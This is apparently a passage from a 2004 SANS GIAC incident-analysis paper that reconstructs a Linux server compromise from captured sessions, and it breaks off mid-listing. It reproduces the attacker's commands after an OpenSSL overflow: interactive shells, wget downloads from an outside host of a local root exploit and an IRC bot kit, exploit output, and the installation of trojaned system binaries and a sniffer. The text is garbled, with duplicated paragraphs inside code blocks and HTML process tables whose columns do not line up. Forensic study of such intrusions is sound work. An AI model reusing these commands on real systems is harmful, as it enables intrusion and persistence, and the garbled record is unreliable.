Length: 352,596 [application/x-tar]

OK ......... .......... .......... .......... .......... .......... .......... 14% 142.05 KB/s

15:11:18 (195.87 KB/s) - 's.tar.gz' saved [352596/352596]

```
tar -xzf s.tar.gz;rm -rf s.tar.gz;
ls/ .s/
  .s/du .s/find
  .s/killall .s/linsniffer
  .s/ls
  .s/netstat .s/ps
  .s/pstree .s/vdir
  .s/top .s/.laddc
  .s/.lfile .s/.llogq
  .s/.lproc .s/clean
  .s/nfscdl .s/nfscdll sshd_config
  .s/nfscdl xxh_h
  .s/nfscdl xxh_r
  .s/nfscdl ndsl
  .s/nssd/ .s/nssd/init.sshd
  .s/nssd/ssh_host_key
  .s/nssd/nssd-install
  .s/nssd/nssd_config
  .s/install .s/sense
  .s/p.sshd

ls -al
```

```
total 39
drwxrwxrwt 16 root root 1024 Jun 29 15:11 .
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxr-xr-x  2 root root 1024 Jun 23 12:18 .ICE-unix
-r-r--r--  1 root root  11 Jun 23 12:00 .X0-lock
drwxr-xr-x  2 root root 1024 Jun 23 12:00 .X11-unix
drwxr-xr-x  2 xfs xfs 1024 Jun 23 12:00 .font-unix
drw-------  2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x  2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x  2 root root 1024 Jun 19 11:43 .gt
-rw-------  1 root root 1024 Jun 20 02:17 .rnd
drwxr-xr-x  4 502 502 1024 Mar 24 21:41 .s
-rw-r--r--  1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x  1 root root  890 Jun 20 04:14 X-Test.log
-rw-r--r--  1 root root  4133 Jun 20 04:14 XF86Config.test
drwx-------  2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx-------  2 root root 1024 Jun 20 10:55 kde-root
drwx-------  2 userid1 userid1 1024 Jun 26 16:40 ksock-userid1
drwx-------  2 root root 1024 Jun 23 11:55 ksocket-root
drwx-------  3 userid1 userid1 1024 Jun 23 12:18 mcp-userid1
drwx-------  3 root root 1024 Jun 20 10:55 mcp-root
-rw-------  1 root root  0 Jun 29 04:02 session_mm_apache0.sem
drwx-------  2 root root 1024 Jun 20 02:20 texconf.Nzu100
```

```
cd .s
```
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/. This session started at 15:10:48 and completed at 15:15:18.

```
/bin/sh: line 1: 19508 Killed  su
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit
```

```
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/. This session started at 15:10:48 and completed at 15:15:18.

TERM=xterm; export TERM=xterm; exec bash -i
```

```
uname -a; id; w;
bash-2.05a$ Linux
rhel 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user1 pts/0 - 23Jun03 6days 0.00s ? -
user1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
user1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ cd /tmp
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ wget XXX.XXX.com/eladoht/stuff/r; chmod +x r;
```

```
warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$--15:21:42--
http://XXX.XXX.com/eladoht/stuff/r
-- `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]

OK ............... ......... 100% 76.87 KB/s
15:21:43 (76.87 KB/s) - 'r' saved [19916/19916]
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ [/]
```

```
Attached to 19602
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
```

```
rm -rf r

cd ../install
```

```
^[0m^[1;30m^[0m^[1;31m^[0m^[1;37m Installing trojaned programs^[0m^[37m
^[0m^[1;31m^[0m^[1;30m-^[0m^[1;37m
^[0m^[1;31m *** failed ***^[0m^[37m
^[0m^[1;31m^[0m^[1;30m-^[0m^[37m
top
^[0m^[1;31m^[0m^[1;30m-^[0m^[37m
```

```
^[0m^[1;31m *** failed ***^[0m^[37m
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Your Dir ./x, Go There And Type ./kds or portmap To Inst
Done!

Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

```
exec bash -i
uname -a; id; w;
readline: warning: rl_prep_terminal: cannot get terminal settingsbash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings
readline: warning: rl_prep_terminal: cannot get terminal settingsbash: -2.05a$ readline:
readline: warning: rl_prep_terminal: cannot get terminal settingsbash: -2.05a$ Linux rh1 2.4.18-3 #1
Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:28pm up 6 days, 3:29, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
total 64
drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
drwalwrxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x 1 root root 11 Jun 23 12:00 .X11-lock
drwalwrxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwalwrxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwalwrxrwt 2 root root 1024 Jun 19 11:43 .kde
drwalwrxrwt 2 root root 1024 Jun 19 11:48 .mozilla
drwalwrxrwt 2 root root 1024 Jun 19 11:43 .qt
-rwxr-xr-x 1 root root 1024 Jun 20 02:17 .rdr
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .Xftcache
-rw-w-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drwalwrxrwt 2 user1d user1d 1024 Jun 23 12:18 kde-user1d
drwalwrxrwt 2 root root 1024 Jun 20 10:55 kde-root
drwalwrxrwt 2 user1d user1d 1024 Jun 26 15:58 ksckte-user1d
drwalwrxrwt 2 root root 1024 Jun 23 15:58 ksckte-root
drwalwrxrwt 3 user1d user1d 1024 Jun 23 12:18 mcop-user1d
drwalwrxrwt 3 root root 1024 Jun 20 10:55 mcop-root
-rw-w-xr-x 1 apache apache 24012 Jun 29 15:28 .r
-rwxr-xr-x 1 root root 0 Jun 29 04:02 session_mm_apache0.se...
```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: /r
[19893: 1] tcssetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: cd font-unix
cd: font-unix: No such file or directory
bash: cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
cd .X11-pipe;chmod +x inetd/services/inetd/services;
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcssetattr: Invalid argument
bash: cd .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services: No such file or directory
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf
cd .X11-pipe;chmod +x inetd/services/inetd/services;
get terminal settingsbash: --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz
=> 'bot.tgz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

OK ......................... ......................... 6%  89.29 KB/s
50K ......................... ......................... 13% 110.38 KB/s
100K ......................... ......................... 20% 175.44 KB/s
150K ......................... ......................... 26% 110.38 KB/s
200K ......................... ......................... 33% 174.83 KB/s
250K ......................... ......................... 40% 176.06 KB/s
300K ......................... ......................... 46% 182.48 KB/s
350K ......................... ......................... 53% 248.76 KB/s
400K ......................... ......................... 60% 183.82 KB/s
450K ......................... ......................... 66% 225.23 KB/s
500K ......................... ......................... 73% 232.56 KB/s
550K ......................... ......................... 80% 247.52 KB/s
600K ......................... ......................... 87% 364.96 KB/s
650K ......................... ......................... 93% 252.53 KB/s
700K ......................... ......................... 100% 372.64 KB/s
15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
.X11-pipe/randfiles/randkicks.e
.X11-pipe/randfiles/randnicks.e
.X11-pipe/randfiles/randpickup.e
.X11-pipe/randfiles/randsay.e
.X11-pipe/randfiles/randsignoff.e
.X11-pipe/randfiles/randversions.e
.X11-pipe/src/
.X11-pipe/src/Makefile.in
.X11-pipe/src/cfgfile.c
.X11-pipe/src/channel.c
.X11-pipe/src/com-ons.c
.X11-pipe/src/combot.c
.X11-pipe/src/commands.c
.X11-pipe/src/config.h.in
.X11-pipe/src/dcc.c
.X11-pipe/src/debug.c
.X11-pipe/src/function.c
.X11-pipe/src/global.h
.X11-pipe/src/h.h
.X11-pipe/src/link.c
.X11-pipe/src/main.c
.X11-pipe/src/gencmd.c
.X11-pipe/src/parse.c
.X11-pipe/src/socket.c
.X11-pipe/src/structs.h
.X11-pipe/src/usage.h
.X11-pipe/src/userlist.c
.X11-pipe/src/vars.c
.X11-pipe/src/xmech.c
.X11-pipe/src/Mech File
.X11-pipe/src/config.h
.X11-pipe/src/gencmd
.X11-pipe/src/mcmd.h
.X11-pipe/src/cfgfile.o
.X11-pipe/src/channel.o
.X11-pipe/src/com-ons.o
.X11-pipe/src/combot.o
.X11-pipe/src/commands.o
.X11-pipe/src/dcc.o
.X11-pipe/src/debug.o
.X11-pipe/src/function.o
.X11-pipe/src/link.o
.X11-pipe/src/main.o
.X11-pipe/src/parse.o
.X11-pipe/src/socket.o
.X11-pipe/src/userlist.o
.X11-pipe/src/vars.o
.X11-pipe/src/xmech.o
.X11-pipe/m mech. set
.X11-pipe/mech. levels
.X11-pipe/Link Events
.X11-pipe/lpd.usr
.X11-pipe/W4c4r0n. seen
.X11-pipe/lpd.session
.X11-pipe/checklpd
.X11-pipe/inetd/
.X11-pipe/inetd/services
bash: [19893: 1] tcsetattr: Invalid argument

ps
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline:
warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
PID TTY TIME CMD
10606 ? 00:00:00 httpd
10607 ? 00:00:00 httpd
10608 ? 00:00:00 httpd
10609 ? 00:00:00 httpd
10610 ? 00:00:00 httpd
<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td>开机进程</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kuredated]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/ssh</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
<td></td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
<td></td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -daemon</td>
<td></td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>0:00</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEgz</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>:0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>0:05</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
<tr>
<td>PID</td>
<td>User</td>
<td>Priority</td>
<td>Start Time</td>
<td>Command</td>
</tr>
<tr>
<td>-----</td>
<td>------</td>
<td>----------</td>
<td>------------</td>
<td>---------</td>
</tr>
<tr>
<td>1192</td>
<td>7</td>
<td>S</td>
<td>0:02</td>
<td>/usr/bin/artsd</td>
</tr>
<tr>
<td>1203</td>
<td>7</td>
<td>S</td>
<td>0:02</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1208</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kwrapper</td>
</tr>
<tr>
<td>1210</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1211</td>
<td>7</td>
<td>S</td>
<td>0:09</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1217</td>
<td>7</td>
<td>S</td>
<td>0:18</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1219</td>
<td>7</td>
<td>S</td>
<td>0:35</td>
<td>autorun</td>
</tr>
<tr>
<td>1223</td>
<td>7</td>
<td>S</td>
<td>0:51</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1226</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kinit</td>
</tr>
<tr>
<td>1228</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>korgac</td>
</tr>
<tr>
<td>1230</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kalarmd</td>
</tr>
<tr>
<td>1232</td>
<td>7</td>
<td>S</td>
<td>5:04</td>
<td>kdeinit</td>
</tr>
<tr>
<td>1234</td>
<td>pts/1</td>
<td>S</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>1266</td>
<td>pts/1</td>
<td>S</td>
<td>0:00</td>
<td>su -</td>
</tr>
<tr>
<td>1269</td>
<td>pts/1</td>
<td>S</td>
<td>0:00</td>
<td>-bash</td>
</tr>
<tr>
<td>6132</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit</td>
</tr>
<tr>
<td>6135</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>kdesud</td>
</tr>
<tr>
<td>7168</td>
<td>pts/2</td>
<td>S</td>
<td>0:12</td>
<td>kdeinit</td>
</tr>
<tr>
<td>7170</td>
<td>pts/2</td>
<td>S</td>
<td>0:00</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>7203</td>
<td>pts/2</td>
<td>S</td>
<td>0:00</td>
<td>su -</td>
</tr>
<tr>
<td>7206</td>
<td>pts/2</td>
<td>S</td>
<td>0:00</td>
<td>-bash</td>
</tr>
<tr>
<td>8125</td>
<td>7</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>8163</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>[cm&lt;defunct&gt;]</td>
</tr>
<tr>
<td>8166</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10606</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10607</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10608</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10609</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10610</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10611</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10612</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>10613</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19365</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19366</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19367</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19368</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19369</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19370</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19371</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19372</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19373</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19374</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19375</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19376</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19488</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>19504</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/r</td>
</tr>
<tr>
<td>19505</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[r&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19507</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh</td>
</tr>
<tr>
<td>19508</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>su</td>
</tr>
<tr>
<td>19509</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>bash</td>
</tr>
<tr>
<td>19535</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>minilogd</td>
</tr>
<tr>
<td>19678</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>19685</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>popauth</td>
</tr>
<tr>
<td>19686</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[weit&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19694</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f killall /usr/bin/</td>
</tr>
<tr>
<td>19697</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19701</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f find /usr/bin/</td>
</tr>
<tr>
<td>19703</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19788</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f du /usr/bin/</td>
</tr>
<tr>
<td>19792</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19796</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>chmod +s /usr/sbin/nfsd</td>
</tr>
<tr>
<td>19798</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[chmod&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19801</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f sshd_config /sbin</td>
</tr>
<tr>
<td>19802</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19804</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f sshd_config /sbin</td>
</tr>
<tr>
<td>19808</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>cp -f sshd_r /sbin</td>
</tr>
<tr>
<td>19810</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>/usr/sbin/nfsd -f /sbin/sshd_config</td>
</tr>
<tr>
<td>19811</td>
<td>7</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/nfsd -f /sbin/sshd_config</td>
</tr>
<tr>
<td>19813</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19814</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[cp&lt;defunct&gt;]</td>
</tr>
<tr>
<td>19815</td>
<td>7</td>
<td>Z</td>
<td>0:00</td>
<td>[nfs&lt;defunct&gt;]</td>
</tr>
<tr>
<td>1983</td>
<td>7</td>
<td>T</td>
<td>0:00</td>
<td>ls -al</td>
</tr>
</tbody>
</table>
```
<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>init</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>[keventd]</td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>[kapmd]</td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>[ksoftirqd_CPU0]</td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>[kswapd]</td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>[bdflush]</td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>[kupdated]</td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>[mdrecoveryd]</td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>[khubd]</td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>rpc.statd</td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc</td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>ntpd -o ntp -g</td>
</tr>
<tr>
<td>8462</td>
<td>S</td>
<td>/usr/sbin/shd</td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>sendmail: accepting connections</td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>cron</td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>xfs -droppriv -daemon</td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>/usr/sbin/atsd</td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>/sbin/minetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>/sbin/minetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>/sbin/minetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>/sbin/minetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>/sbin/minetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>/sbin/minetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>/usr/bin/kdm --nodaemon</td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz</td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>:0</td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>/bin/sh /usr/bin/startkde</td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>kdeinit: Running...</td>
</tr>
